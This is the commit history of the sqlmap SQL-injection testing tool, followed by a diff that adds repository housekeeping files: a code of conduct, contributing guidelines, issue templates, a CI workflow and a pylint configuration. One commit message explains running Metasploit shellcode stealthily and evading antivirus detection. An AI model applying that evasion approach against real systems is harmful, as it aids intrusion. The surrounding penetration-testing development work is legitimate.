Miroslav Stampar 900ee0ff93 fix for a major bug reported by [email protected] (1..9 99..) 2011-05-01 15:47:00 +00:00
Miroslav Stampar 494503b334 proper way to deal with generic cases 2011-05-01 08:04:08 +00:00
Miroslav Stampar fcd69ba9c7 fix for a --technique=U 2011-05-01 07:37:22 +00:00
Bernardo Damele ebe631ea57 doc update 2011-05-01 00:43:42 +00:00
Bernardo Damele 64bb480414 Do not raise otherwise it won't work with --schema 2011-04-30 23:20:16 +00:00
Miroslav Stampar 41fc9f9d54 fix for an issue reported by [email protected] (unknown web page charset 'hungarian-iso-8859-2') 2011-04-30 22:41:54 +00:00
Bernardo Damele d5eeb91b35 Aligned Sybase and MaxDB to recent enhancements to --dbs, --tables and --columns 2011-04-30 22:11:36 +00:00
Bernardo Damele b31b861d7b Major rewrote of --columns: now it accepts -D only (enumerate all tables' columns of a specific database), -D and -T (enumerate all columns of a specific database's table), -T (enumerate all columns of a current database's table), etc. 2011-04-30 22:10:27 +00:00
Bernardo Damele 284c69a686 Improved --tables for MSSQL too, like r3798 2011-04-30 22:05:02 +00:00
Bernardo Damele aeb149db22 Proper ordering of enumeration methods, consistent with the others enumeration classes 2011-04-30 22:04:08 +00:00
Bernardo Damele 955dbc85e7 Minor variable rename 2011-04-30 15:29:59 +00:00
Bernardo Damele cb9b9c4204 Code refactoring and improvements to --dbs and --tables: now --tables accepts also -D CD as an alias for Current Database and as usual multiple database comma-separated are supported too 2011-04-30 15:29:19 +00:00
Bernardo Damele b3a0424269 More Backend class method usage refactoring 2011-04-30 15:24:15 +00:00
Bernardo Damele 00f14bec5f layout adjustment 2011-04-30 15:22:33 +00:00
Bernardo Damele 9a4ae7d9e2 More code refactoring of Backend class methods used 2011-04-30 14:54:29 +00:00
Bernardo Damele 2f2758b033 Long form contributor name 2011-04-30 14:51:06 +00:00
Bernardo Damele 36a9ddaacc Minor bug fixes and code restyling for --privileges and --passwords 2011-04-30 14:50:27 +00:00
Bernardo Damele f56d135438 Minor code restyling 2011-04-30 13:20:05 +00:00
Miroslav Stampar 983546d6bf proper fix 2011-04-30 07:01:21 +00:00
Bernardo Damele 1a052245a6 duplicate code 2011-04-30 00:25:15 +00:00
Bernardo Damele a5968fff3e Added --count switch to count the number of entries for a specific table (when -T is provided), all database's tables (when only -D is provided) or all databases' tables when neither -D nor -T are provided 2011-04-30 00:22:22 +00:00
Bernardo Damele 529595fd85 Moved method below 2011-04-29 22:37:43 +00:00
Bernardo Damele 956e75e2b5 Minor adjustment to --mobile.
Bug fix to --random-agent.
2011-04-29 21:50:48 +00:00
Bernardo Damele 14bf6abb7e Minor layout adjustment 2011-04-29 21:40:48 +00:00
Bernardo Damele f449688f93 Proper resume of --schema data when calling with --columns switch, minor fixes too 2011-04-29 21:17:59 +00:00
Bernardo Damele a23ca952e4 Actually brute-force switches make more sense just after their "normal" version. Also, getSchema() method is preferably to be called before getColumns(), see next commit for reason 2011-04-29 21:09:07 +00:00
Miroslav Stampar 46f96f3c4c removing Kindle from list as it's not really a smartphone 2011-04-29 19:32:30 +00:00
Miroslav Stampar 11124b21f9 implemented --mobile switch 2011-04-29 19:27:23 +00:00
Miroslav Stampar b299912de4 fix for a bug reported by [email protected] (UnicodeDecodeError: 'ascii' codec can't decode byte 0x84 in position 396: ordinal not in range(128)) for multipartpost 2011-04-29 16:56:02 +00:00
Miroslav Stampar 6bb4dce3aa minor refactoring 2011-04-29 15:22:32 +00:00
Miroslav Stampar a2bb0d72e8 fix for a bug reported by [email protected] (TypeError: expected string or buffer) 2011-04-29 14:40:28 +00:00
Miroslav Stampar a6015b59df fix for a bug reported by jaccovantuijl@gmail.​com (entries = zip(*[entries[colName] for colName in colList])) 2011-04-29 14:33:47 +00:00
Bernardo Damele 9927f5a7db Let --schema work also for Sybase and MaxDB 2011-04-29 00:02:28 +00:00
Bernardo Damele edac0b2558 Added switch --schema to enumerate DBMS schema and now --columns does not require a mandatory table (-T) anymore, instead it will act as an alias for --schema 2011-04-28 23:59:00 +00:00
Bernardo Damele d3ed3268c3 minor adjustments 2011-04-28 21:17:06 +00:00
Bernardo Damele 8e63e1b70d more people to thanks 2011-04-28 21:15:15 +00:00
Bernardo Damele 3e66dae103 as we don't use UPX anymore.. 2011-04-28 20:54:21 +00:00
Bernardo Damele 441c288dd9 cosmeticados 2011-04-25 00:36:09 +00:00
Bernardo Damele 98f9f3e774 Minor bug fix in local shellcodeexec for Windows path 2011-04-25 00:03:12 +00:00
Bernardo Damele e35f25b2cb Major recode of --os-pwn functionality. Now the Metasploit shellcode can not be run as a Metasploit generated payload stager anymore. Instead it can be run on the target system either via sys_bineval() (as it was before, anti-forensics mode, all the same) or via shellcodeexec executable. Advantages are that:
* It is stealthier as the shellcode itself does not touch the filesystem, it's an argument passed to shellcodeexec at runtime.
* shellcodeexec is not (yet) recognized as malicious by any (Avast excluded) AV product.
* shellcodeexec binary size is significantly smaller than a Metasploit payload stager (even when packed with UPX).
* UPX now is not needed anymore, so sqlmap package is also way smaller and less likely to be detected itself as malicious by your AV software.
shellcodeexec source code, compilation files and binaries are in extra/shellcodeexec/ folder now - copied over from https://github.com/inquisb/shellcodeexec.
Minor code refactoring.
2011-04-24 23:01:21 +00:00
Bernardo Damele d0a534dee5 Do not even prompt for ICMP tunnel if the target OS is not Windows 2011-04-23 21:57:07 +00:00
Bernardo Damele d0dff82ce0 Minor code refactoring relating set/get back-end DBMS operating system and minor bug fix to properly enforce OS value with --os switch 2011-04-23 16:25:09 +00:00
Miroslav Stampar 75142b383d huge speed up (4x times faster) 2011-04-22 21:00:42 +00:00
Miroslav Stampar f88aa4b165 implemented suppressResumeInfo mechanism (huge slowdown on large tables) 2011-04-22 19:58:10 +00:00
Miroslav Stampar 493b9adf8e speed up of resume values (compiled regexes used) 2011-04-22 19:27:41 +00:00
Miroslav Stampar 7b3b9e6a87 it seems that this was indeed not meant to be here 2011-04-22 15:07:09 +00:00
Miroslav Stampar 304500a2e8 implemented checkFalsePositives method (simple Turing like tests) 2011-04-22 12:24:16 +00:00
Bernardo Damele 7df954dd9f paranoy 2011-04-21 23:41:25 +00:00
Miroslav Stampar 0764c4c752 parenthesis were missing; banning OR NOT from payloads 2011-04-21 23:32:53 +00:00
Miroslav Stampar 41924a6ead fix for a bug reported by [email protected]​.ar (UnicodeDecodeError: 'ascii' codec can't decode byte 0xe9 in position 0: ordinal
not in range(128))
2011-04-21 23:17:16 +00:00
Bernardo Damele 1d61611145 leftover 2011-04-21 22:46:43 +00:00
Bernardo Damele f3088079c0 error message adjustment 2011-04-21 22:31:02 +00:00
Bernardo Damele eabb5a2ba7 More adjustments to the error message when no sql injections are detected 2011-04-21 22:04:20 +00:00
Bernardo Damele 6d07dddf60 updated doc and minor layout adjustments 2011-04-21 21:53:35 +00:00
Bernardo Damele 06a00fe85e For development version, print also the revision number in the banner 2011-04-21 21:34:57 +00:00
Bernardo Damele 770b1523ff More verbose output when no SQL injections are detected 2011-04-21 21:31:16 +00:00
Bernardo Damele edc2d75702 Cosmetics and major bug fix 2011-04-21 21:15:23 +00:00
Bernardo Damele 870f773d70 In some old versions of MySQL (perhaps others DBMS too) the NOT clause is not supported, hence we need also OR tests without NOT - tested and works like this 2011-04-21 20:36:50 +00:00
Bernardo Damele d2f102f5a1 cosmetics 2011-04-21 20:21:37 +00:00
Miroslav Stampar 148fb26301 quick fix 2011-04-21 17:34:26 +00:00
Miroslav Stampar e181d5412e fix for a bug reported by [email protected] (@@datadir not available on MySQL 4) 2011-04-21 17:33:07 +00:00
Miroslav Stampar bd4fbb3251 fix for a bug reported by [email protected] (TypeError: cannot concatenate 'str' and 'NoneType' objects) 2011-04-21 14:53:02 +00:00
Bernardo Damele b667c50588 store/resume info on xp_cmd available in session file 2011-04-21 14:25:04 +00:00
Miroslav Stampar 930872cf3b fix 2011-04-21 14:20:09 +00:00
Bernardo Damele a313df4d37 Allow user to force temporary folder with --tmp-path even if it has been saved one in the session file 2011-04-21 14:05:37 +00:00
Bernardo Damele fbe5ba5394 cosmetics 2011-04-21 10:54:12 +00:00
Miroslav Stampar e1a8d268d8 fix for UPX linux/macos 2011-04-21 10:52:34 +00:00
Bernardo Damele 8d8fc2bbd8 cosmetics 2011-04-21 10:17:41 +00:00
Bernardo Damele 11ecd16099 cosmetics 2011-04-21 10:08:38 +00:00
Miroslav Stampar 9ccf720c05 removing funny remark 2011-04-21 10:06:13 +00:00
Bernardo Damele a91e6a8440 layout 2011-04-21 10:03:18 +00:00
Miroslav Stampar cbfe743bad added a comment 2011-04-21 10:01:58 +00:00
Miroslav Stampar c84c4d835f minor update 2011-04-21 09:31:35 +00:00
Bernardo Damele 8e2e06a7a3 layout adjustment 2011-04-21 09:25:42 +00:00
Miroslav Stampar 5052013ffa minor update 2011-04-20 14:48:23 +00:00
Miroslav Stampar f909ecb369 bug fix for mssqlserver escape 2011-04-20 13:41:01 +00:00
Miroslav Stampar e4d3190f41 reverting back to NVARCHAR because of error technique 2011-04-20 12:59:23 +00:00
Miroslav Stampar 3607f03a9e fix of a minor typo 2011-04-20 12:42:35 +00:00
Miroslav Stampar 1286cc0913 now showing trimmed output in for of warning message (UNION and ERROR techniques affected) 2011-04-20 12:41:58 +00:00
Miroslav Stampar 7993f3f12d way better for storing bulk of data (like BLOB on mysql) 2011-04-20 11:44:52 +00:00
Miroslav Stampar 04653684cd revert 2011-04-20 10:34:34 +00:00
Miroslav Stampar 4fadcf0615 improvement for UNION/ERROR case 2011-04-20 10:17:42 +00:00
Miroslav Stampar 1c1c20fb64 minor update 2011-04-20 09:34:00 +00:00
Miroslav Stampar 4b6c524d4c one more minor update regarding last commit 2011-04-20 09:26:03 +00:00
Miroslav Stampar 44926757da minor update 2011-04-20 09:23:08 +00:00
Miroslav Stampar 52c98afe93 minor fix 2011-04-20 08:38:46 +00:00
Miroslav Stampar 24435a2c20 implemented "break a tie" request by Andres Riancho 2011-04-20 08:35:47 +00:00
Miroslav Stampar df0331fe9b some more refactoring 2011-04-19 23:04:10 +00:00
Miroslav Stampar 3b133303bf refactoring 2011-04-19 22:54:13 +00:00
Miroslav Stampar de2479b864 dealing with http://bugs.python.org/issue1602 2011-04-19 22:33:03 +00:00
Miroslav Stampar 9a9838f1e6 cleaning a mess with UPX and virus scanners 2011-04-19 21:57:04 +00:00
Miroslav Stampar 44bbef42f8 minor cosmetics 2011-04-19 20:23:08 +00:00
Miroslav Stampar b7efa255d6 minor update of usage string 2011-04-19 20:14:56 +00:00
Miroslav Stampar fc90974940 revert of last commit because of the situation in detection phase where payload is made at the starting point (can't change conf.timeSec in that phase) 2011-04-19 14:50:09 +00:00
Miroslav Stampar 7abbd0c029 removing a leftover 2011-04-19 14:29:51 +00:00
Miroslav Stampar 96b5fede5a automatic increasing of time delay on lagging connections 2011-04-19 14:28:51 +00:00
Miroslav Stampar 13f8c001a7 minor update 2011-04-19 11:13:53 +00:00
Miroslav Stampar 7a06af9a92 added "lagging" critical message 2011-04-19 10:37:20 +00:00
Miroslav Stampar 959204cff9 minor cosmetics 2011-04-19 09:55:35 +00:00
Miroslav Stampar 597f4dc445 adding procs directory for storing SQL procedure declarations 2011-04-19 09:54:34 +00:00
Miroslav Stampar 9b0db33cc5 initial page request can result in unwanted lag (e.g. slow DNS response,...), hence it's response time shouldn't be a part of response time statistical model 2011-04-19 08:55:38 +00:00
Miroslav Stampar a7c26366b4 doing that auto default value for --time-sec only for --tor 2011-04-19 08:43:29 +00:00
Miroslav Stampar 4d48ac54dc automatically increasing default --time-sec value when --tor/--proxy used (not touching anything if explicit --time-sec set) 2011-04-19 08:34:21 +00:00
Miroslav Stampar b79d4f70f3 cleaner solution for the problem solved with last commit 2011-04-18 14:51:48 +00:00
Miroslav Stampar f5cff067c6 little hack for --time-sec 2011-04-18 14:46:18 +00:00
Miroslav Stampar 6463cad8c5 minor update for SOAP payloads 2011-04-18 14:29:52 +00:00
Miroslav Stampar c6a0209649 update of THANKS file 2011-04-18 14:01:45 +00:00
Miroslav Stampar da9ec67869 removing leftover 2011-04-18 13:43:22 +00:00
Miroslav Stampar 354a2ce249 'chardet' heuristic engine added to the project 2011-04-18 13:38:46 +00:00
Miroslav Stampar b5aef9bcf9 fix for a bug reported by nightman (TypeError: unsupported operand type(s) for +: 'NoneType' and 'str') 2011-04-18 10:16:38 +00:00
Miroslav Stampar 6fab44d635 minor refactoring and improving of used regex 2011-04-17 22:37:00 +00:00
Miroslav Stampar 76d1f09b0a minor cosmetics 2011-04-17 22:25:25 +00:00
Miroslav Stampar 9aae447553 minor update for matching SOAP messages 2011-04-17 22:21:32 +00:00
Miroslav Stampar 4fa00121e4 that CONSTANT_RATIO was a pure black magic for dynamic pages. now we have better injection detection workflow than before (False, True, False) and it was just a matter of time for removing this one 2011-04-17 21:58:34 +00:00
Miroslav Stampar a7366bf710 SOAP refactoring 2011-04-17 21:39:00 +00:00
Miroslav Stampar c7ff5dcbeb minor update 2011-04-17 08:48:13 +00:00
Miroslav Stampar ee88ccf0ac well, this could be important :) 2011-04-17 08:33:46 +00:00
Miroslav Stampar ad53e3f551 update of doc/THANKS 2011-04-17 07:39:49 +00:00
Miroslav Stampar 29ee760021 improving time based data retrieval mechanism 2011-04-17 07:24:18 +00:00
Miroslav Stampar 5e70eac98c fix for a "popular" typo 'iso-5889-1' reported by David Guimaraes 2011-04-16 06:44:29 +00:00
Miroslav Stampar 88c76147e1 removed few trailing whitespace lines 2011-04-15 20:52:08 +00:00
Miroslav Stampar 877d5c1e7f update of few propsets 2011-04-15 20:43:09 +00:00
Bernardo Damele 79d5804519 added propset 2011-04-15 16:28:48 +00:00
Bernardo Damele 48f916d5a4 Fixed a minor bug 2011-04-15 16:25:42 +00:00
Miroslav Stampar c16b74ce1a covering __pivotDumpTable for keyboard and connection exceptions too 2011-04-15 14:21:13 +00:00
Miroslav Stampar 3b6f9945ae minor fix regarding report from [email protected] (...from time to time sqlmap lost the connection...) 2011-04-15 14:15:29 +00:00
Miroslav Stampar c461fdca54 some refactoring 2011-04-15 13:51:06 +00:00
Miroslav Stampar bf6ea35145 adding new tool safe2bin for decoding safe encoded values 2011-04-15 13:41:50 +00:00
Miroslav Stampar a883316e22 i was on some heavy drugs (sys.stdout = fpOut) 2011-04-15 12:58:56 +00:00
Miroslav Stampar 0387654166 update of copyright string (until year) 2011-04-15 12:33:18 +00:00
Miroslav Stampar 4d8a49a87c more standard way to display hex encoded char (\xff instead of \ff) also compatible with python representation 2011-04-15 11:53:20 +00:00
Miroslav Stampar 05a0e1d3b0 fix for a bug reported by m4l1c3 (TypeError: not all arguments converted during string formatting) 2011-04-15 11:34:14 +00:00
Miroslav Stampar 467d1a50b3 removed debug message that could cause confusion 2011-04-15 11:28:01 +00:00
Miroslav Stampar 8c6f7c7d5f explicit usage of --time-sec will implicitly turn off auto-adjustment of time delay 2011-04-15 08:52:53 +00:00
Miroslav Stampar aed994192e disabling safecharencode for --banner 2011-04-15 08:15:21 +00:00
Miroslav Stampar 3efd9e3959 improved htmlunescape (great for localized html escape codes) 2011-04-14 21:36:13 +00:00
Miroslav Stampar 8ddac7fe5a minor fix and speedup when pivoting empty table 2011-04-14 21:11:20 +00:00
Miroslav Stampar 384ca98ded don't let sqlmapNoneDataException for one table to break whole dumpAll() 2011-04-14 20:56:12 +00:00
Miroslav Stampar dbbaefa79d minor update (pivot value should be safechardecoded) 2011-04-14 20:38:03 +00:00
Miroslav Stampar ded28442fb minor fixes and refactoring regarding safecharencoding 2011-04-14 15:54:00 +00:00
Miroslav Stampar 866cdb4cf7 speed of --replicate is now vastly improved 2011-04-14 14:34:12 +00:00
Miroslav Stampar 96da7ba4eb just in case for Deprecated modules 2011-04-14 14:01:47 +00:00
Miroslav Stampar eafab03d99 safe decoding values going into --replicate (as we should have a "replicate" and sqlite3 supports all chars) 2011-04-14 13:53:56 +00:00
Miroslav Stampar 30bfefd638 minor fix 2011-04-14 12:58:03 +00:00
Bernardo Damele 5cf38cd0d7 More cookies to ignore 2011-04-14 12:46:14 +00:00
Bernardo Damele d462937a2e added a contributor 2011-04-14 12:42:09 +00:00
Miroslav Stampar 8426d48e2e minor refactoring 2011-04-14 10:14:46 +00:00
Miroslav Stampar 930262f573 minor update related to the last commit 2011-04-14 10:12:07 +00:00
Miroslav Stampar 1c5427baf8 minor fix 2011-04-14 09:54:29 +00:00
Miroslav Stampar bb99bd2fbe one more commit related to the issue with displaying of garbled characters 2011-04-14 09:43:36 +00:00
Miroslav Stampar 04986be4b9 update regarding safe character output together with a small fix for newlines 2011-04-14 09:31:45 +00:00
Miroslav Stampar 5dfb55effc revert of the last commit because of this http://osvdb.org/show/osvdb/26582 2011-04-14 06:46:32 +00:00
Miroslav Stampar 786f305e1a minor update 2011-04-14 06:43:08 +00:00
Miroslav Stampar 21114d1748 added IGNORE_PARAMETERS to skip testing of state/session web server parameters 2011-04-13 19:01:02 +00:00
Miroslav Stampar 58a93c5b1f better beep for MacOSX 2011-04-13 18:32:47 +00:00
Miroslav Stampar bf55b0b77a more restrictions on crypt(3) hash recognition to prevent false positives 2011-04-13 14:40:23 +00:00
Miroslav Stampar d06ae9cd47 implemented retrieved items info for partial union too 2011-04-13 14:33:15 +00:00
Miroslav Stampar f5f2201bbc minor cosmetics for partial inband retrieval 2011-04-13 11:25:42 +00:00
Miroslav Stampar c193b896be just in case update to prevent gibberish "retrieved: " outputs 2011-04-12 23:07:50 +00:00
Miroslav Stampar f435f37d71 update of THANKS file 2011-04-12 15:54:00 +00:00
Miroslav Stampar 5346ecbb56 fix for a "accept certificate first time for svn" 2011-04-12 14:25:17 +00:00
Miroslav Stampar a883ce26b5 fix for a bug reported by ToR (AttributeError: 'NoneType' object has no attribute 'redcode') 2011-04-12 13:25:28 +00:00
Bernardo Damele 1c51e11c5c Minor adjustments to PgSQL fingerprint 2011-04-12 10:35:33 +00:00
Miroslav Stampar 7324d53997 reference (http://www.enterprisedb.com/docs/en/9.0/pg/release-9-0.html) 2011-04-12 10:30:33 +00:00
Miroslav Stampar bc4c2f320c cosmetics 2011-04-12 10:24:09 +00:00
Miroslav Stampar 2f1786e65f added active fingerprint for pgsql >= 9.0.3 (reference: http://www.postgresql.org/docs/9.0/static/release-9-0.html) 2011-04-12 10:22:54 +00:00
Bernardo Damele 7c61931b96 Added notes on how to compile and get small shared libraries for UDF 2011-04-12 09:53:52 +00:00
Bernardo Damele b50b4cd961 MySQL Windows 32-bit DLL recompiled (Visual C++ 2005) and stripped (UPX) - this is the smallest we can get 2011-04-11 22:04:41 +00:00
Bernardo Damele fdbd8bfe37 initial support for PostgreSQL 9.0 - #223 2011-04-11 22:02:00 +00:00
Bernardo Damele f4745a95ea Possible fix for bug reported by David 2011-04-11 21:45:25 +00:00
Miroslav Stampar 136e85abf3 little refresh of PHPIDS rules for --check-payload 2011-04-11 15:37:49 +00:00
Miroslav Stampar 0ae74f27e4 avoiding annoying "payload 'None' possibly..." in case where payload is not specified 2011-04-11 15:24:52 +00:00
Miroslav Stampar 941daa1645 just in case to prevent "object of type 'NoneType' has no len()" error reports 2011-04-11 11:59:02 +00:00
Miroslav Stampar 2db2e9b6a2 now GET forms are also prone to "do you want to fill with random values" 2011-04-11 11:38:41 +00:00
Miroslav Stampar 08d14886fd added new dev version string 2011-04-11 09:44:44 +00:00
Miroslav Stampar e20848c711 first commit toward v1.0 (it's smarter to start testing for pivot point from shorter column names as they tend to be some kind of identifiers) 2011-04-11 09:40:52 +00:00
Bernardo Damele 30377621b8 slight update 2011-04-11 00:33:42 +00:00
735 changed files with 100183 additions and 340169 deletions
+19
View File
@@ -0,0 +1,19 @@
*.conf text eol=lf
*.md text eol=lf
*.md5 text eol=lf
*.py text eol=lf
*.xml text eol=lf
LICENSE text eol=lf
COMMITMENT text eol=lf
*_ binary
*.dll binary
*.pdf binary
*.so binary
*.wav binary
*.zip binary
*.x32 binary
*.x64 binary
*.exe binary
*.sln binary
*.vcproj binary
+46
View File
@@ -0,0 +1,46 @@
# Contributor Covenant Code of Conduct
## Our Pledge
In the interest of fostering an open and welcoming environment, we as contributors and maintainers pledge to making participation in our project and our community a harassment-free experience for everyone, regardless of age, body size, disability, ethnicity, gender identity and expression, level of experience, nationality, personal appearance, race, religion, or sexual identity and orientation.
## Our Standards
Examples of behavior that contributes to creating a positive environment include:
* Using welcoming and inclusive language
* Being respectful of differing viewpoints and experiences
* Gracefully accepting constructive criticism
* Focusing on what is best for the community
* Showing empathy towards other community members
Examples of unacceptable behavior by participants include:
* The use of sexualized language or imagery and unwelcome sexual attention or advances
* Trolling, insulting/derogatory comments, and personal or political attacks
* Public or private harassment
* Publishing others' private information, such as a physical or electronic address, without explicit permission
* Other conduct which could reasonably be considered inappropriate in a professional setting
## Our Responsibilities
Project maintainers are responsible for clarifying the standards of acceptable behavior and are expected to take appropriate and fair corrective action in response to any instances of unacceptable behavior.
Project maintainers have the right and responsibility to remove, edit, or reject comments, commits, code, wiki edits, issues, and other contributions that are not aligned to this Code of Conduct, or to ban temporarily or permanently any contributor for other behaviors that they deem inappropriate, threatening, offensive, or harmful.
## Scope
This Code of Conduct applies both within project spaces and in public spaces when an individual is representing the project or its community. Examples of representing a project or community include using an official project e-mail address, posting via an official social media account, or acting as an appointed representative at an online or offline event. Representation of a project may be further defined and clarified by project maintainers.
## Enforcement
Instances of abusive, harassing, or otherwise unacceptable behavior may be reported by contacting the project team at dev@sqlmap.org. The project team will review and investigate all complaints, and will respond in a way that it deems appropriate to the circumstances. The project team is obligated to maintain confidentiality with regard to the reporter of an incident. Further details of specific enforcement policies may be posted separately.
Project maintainers who do not follow or enforce the Code of Conduct in good faith may face temporary or permanent repercussions as determined by other members of the project's leadership.
## Attribution
This Code of Conduct is adapted from the [Contributor Covenant][homepage], version 1.4, available at [http://contributor-covenant.org/version/1/4][version]
[homepage]: http://contributor-covenant.org
[version]: http://contributor-covenant.org/version/1/4/
+36
View File
@@ -0,0 +1,36 @@
# Contributing to sqlmap
## Reporting bugs
**Bug reports are welcome**!
Please report all bugs on the [issue tracker](https://github.com/sqlmapproject/sqlmap/issues).
### Guidelines
* Before you submit a bug report, search both [open](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aopen+is%3Aissue) and [closed](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) issues to make sure the issue has not come up before. Also, check the [user's manual](https://github.com/sqlmapproject/sqlmap/wiki) for anything relevant.
* Make sure you can reproduce the bug with the latest development version of sqlmap.
* Your report should give detailed instructions on how to reproduce the problem. If sqlmap raises an unhandled exception, the entire traceback is needed. Details of the unexpected behaviour are welcome too. A small test case (just a few lines) is ideal.
* If you are making an enhancement request, lay out the rationale for the feature you are requesting. *Why would this feature be useful?*
## Submitting code changes
All code contributions are greatly appreciated. First off, clone the [Git repository](https://github.com/sqlmapproject/sqlmap), read the [user's manual](https://github.com/sqlmapproject/sqlmap/wiki) carefully, go through the code yourself and [drop us an email](mailto:[email protected]) if you are having a hard time grasping its structure and meaning. We apologize for not commenting the code enough - you could take a chance to read it through and [improve it](https://github.com/sqlmapproject/sqlmap/issues/37).
Our preferred method of patch submission is via a Git [pull request](https://help.github.com/articles/using-pull-requests).
Many [people](https://raw.github.com/sqlmapproject/sqlmap/master/doc/THANKS.md) have contributed in different ways to the sqlmap development. **You** can be the next!
### Guidelines
In order to maintain consistency and readability throughout the code, we ask that you adhere to the following instructions:
* Each patch should make one logical change.
* Avoid tabbing, use four blank spaces instead.
* Before you put time into a non-trivial patch, it is worth discussing it privately by [email](mailto:[email protected]).
* Do not change style on numerous files in one single pull request, we can [discuss](mailto:[email protected]) about those before doing any major restyling, but be sure that personal preferences not having a strong support in [PEP 8](http://www.python.org/dev/peps/pep-0008/) will likely to be rejected.
* Make changes on less than five files per single pull request - there is rarely a good reason to have more than five files changed on one pull request, as this dramatically increases the review time required to land (commit) any of those pull requests.
* Style that is too different from main branch will be ''adapted'' by the developers side.
* Do not touch anything inside `thirdparty/` and `extra/` folders.
### Licensing
By submitting code contributions to the sqlmap developers or via Git pull request, checking them into the sqlmap source code repository, it is understood (unless you specify otherwise) that you are offering the sqlmap copyright holders the unlimited, non-exclusive right to reuse, modify, and relicense the code. This is important because the inability to relicense code has caused devastating problems for other software projects (such as KDE and NASM). If you wish to specify special license conditions of your contributions, just say so when you send them.
+1
View File
@@ -0,0 +1 @@
custom: 'https://www.paypal.com/donate?hosted_button_id=A34GMDLKA2V7G'
+37
View File
@@ -0,0 +1,37 @@
---
name: Bug report
about: Create a report to help us improve
title: ''
labels: bug report
assignees: ''
---
**Describe the bug**
A clear and concise description of what the bug is.
**To Reproduce**
1. Run '...'
2. See error
**Expected behavior**
A clear and concise description of what you expected to happen.
**Screenshots**
If applicable, add screenshots to help explain your problem.
**Running environment:**
- sqlmap version [e.g. 1.3.5.93#dev]
- Installation method [e.g. git]
- Operating system: [e.g. Microsoft Windows 10]
- Python version [e.g. 3.5.2]
**Target details:**
- DBMS [e.g. Microsoft SQL Server]
- SQLi techniques found by sqlmap [e.g. error-based and boolean-based blind]
- WAF/IPS [if any]
- Relevant console output [if any]
- Exception traceback [if any]
**Additional context**
Add any other context about the problem here.
+20
View File
@@ -0,0 +1,20 @@
---
name: Feature request
about: Suggest an idea for this project
title: ''
labels: feature request
assignees: ''
---
**Is your feature request related to a problem? Please describe.**
A clear and concise description of what the problem is. Ex. I'm always frustrated when [...]
**Describe the solution you'd like**
A clear and concise description of what you want to happen.
**Describe alternatives you've considered**
A clear and concise description of any alternative solutions or features you've considered.
**Additional context**
Add any other context or screenshots about the feature request here.
+25
View File
@@ -0,0 +1,25 @@
on:
push:
branches: [ master ]
pull_request:
branches: [ master ]
jobs:
build:
runs-on: ${{ matrix.os }}
strategy:
matrix:
os: [ubuntu-latest, macos-latest, windows-latest]
python-version: [ '2.x', '3.x', 'pypy-2.7', 'pypy-3.6', 'pypy-3.7' ]
steps:
- uses: actions/checkout@v2
- name: Set up Python
uses: actions/setup-python@v2
with:
python-version: ${{ matrix.python-version }}
- name: Basic import test
run: python -c "import sqlmap; import sqlmapapi"
- name: Smoke test
run: python sqlmap.py --smoke
- name: Vuln test
run: python sqlmap.py --vuln
+8
View File
@@ -0,0 +1,8 @@
output/
__pycache__/
*.py[cod]
.sqlmap_history
traffic.txt
*~
req*.txt
.idea/
+546
View File
@@ -0,0 +1,546 @@
# Based on Apache 2.0 licensed code from https://github.com/ClusterHQ/flocker
[MASTER]
# Specify a configuration file.
#rcfile=
# Python code to execute, usually for sys.path manipulation such as
# pygtk.require().
init-hook="from pylint.config import find_pylintrc; import os, sys; sys.path.append(os.path.dirname(find_pylintrc()))"
# Add files or directories to the blacklist. They should be base names, not
# paths.
ignore=
# Pickle collected data for later comparisons.
persistent=no
# List of plugins (as comma separated values of python modules names) to load,
# usually to register additional checkers.
load-plugins=
# Use multiple processes to speed up Pylint.
# DO NOT CHANGE THIS VALUES >1 HIDE RESULTS!!!!!
jobs=1
# Allow loading of arbitrary C extensions. Extensions are imported into the
# active Python interpreter and may run arbitrary code.
unsafe-load-any-extension=no
# A comma-separated list of package or module names from where C extensions may
# be loaded. Extensions are loading into the active Python interpreter and may
# run arbitrary code
extension-pkg-whitelist=
# Allow optimization of some AST trees. This will activate a peephole AST
# optimizer, which will apply various small optimizations. For instance, it can
# be used to obtain the result of joining multiple strings with the addition
# operator. Joining a lot of strings can lead to a maximum recursion error in
# Pylint and this flag can prevent that. It has one side effect, the resulting
# AST will be different than the one from reality.
optimize-ast=no
[MESSAGES CONTROL]
# Only show warnings with the listed confidence levels. Leave empty to show
# all. Valid levels: HIGH, INFERENCE, INFERENCE_FAILURE, UNDEFINED
confidence=
# Enable the message, report, category or checker with the given id(s). You can
# either give multiple identifier separated by comma (,) or put this option
# multiple time. See also the "--disable" option for examples.
disable=all
enable=import-error,
import-self,
reimported,
wildcard-import,
misplaced-future,
deprecated-module,
unpacking-non-sequence,
invalid-all-object,
undefined-all-variable,
used-before-assignment,
cell-var-from-loop,
global-variable-undefined,
redefine-in-handler,
unused-import,
unused-wildcard-import,
global-variable-not-assigned,
undefined-loop-variable,
global-at-module-level,
bad-open-mode,
redundant-unittest-assert,
boolean-datetime
deprecated-method,
anomalous-unicode-escape-in-string,
anomalous-backslash-in-string,
not-in-loop,
continue-in-finally,
abstract-class-instantiated,
star-needs-assignment-target,
duplicate-argument-name,
return-in-init,
too-many-star-expressions,
nonlocal-and-global,
return-outside-function,
return-arg-in-generator,
invalid-star-assignment-target,
bad-reversed-sequence,
nonexistent-operator,
yield-outside-function,
init-is-generator,
nonlocal-without-binding,
lost-exception,
assert-on-tuple,
dangerous-default-value,
duplicate-key,
useless-else-on-loop
expression-not-assigned,
confusing-with-statement,
unnecessary-lambda,
pointless-statement,
pointless-string-statement,
unnecessary-pass,
unreachable,
using-constant-test,
bad-super-call,
missing-super-argument,
slots-on-old-class,
super-on-old-class,
property-on-old-class,
not-an-iterable,
not-a-mapping,
format-needs-mapping,
truncated-format-string,
missing-format-string-key,
mixed-format-string,
too-few-format-args,
bad-str-strip-call,
too-many-format-args,
bad-format-character,
format-combined-specification,
bad-format-string-key,
bad-format-string,
missing-format-attribute,
missing-format-argument-key,
unused-format-string-argument
unused-format-string-key,
invalid-format-index,
bad-indentation,
mixed-indentation,
unnecessary-semicolon,
lowercase-l-suffix,
invalid-encoded-data,
unpacking-in-except,
import-star-module-level,
long-suffix,
old-octal-literal,
old-ne-operator,
backtick,
old-raise-syntax,
metaclass-assignment,
next-method-called,
dict-iter-method,
dict-view-method,
indexing-exception,
raising-string,
using-cmp-argument,
cmp-method,
coerce-method,
delslice-method,
getslice-method,
hex-method,
nonzero-method,
t-method,
setslice-method,
old-division,
logging-format-truncated,
logging-too-few-args,
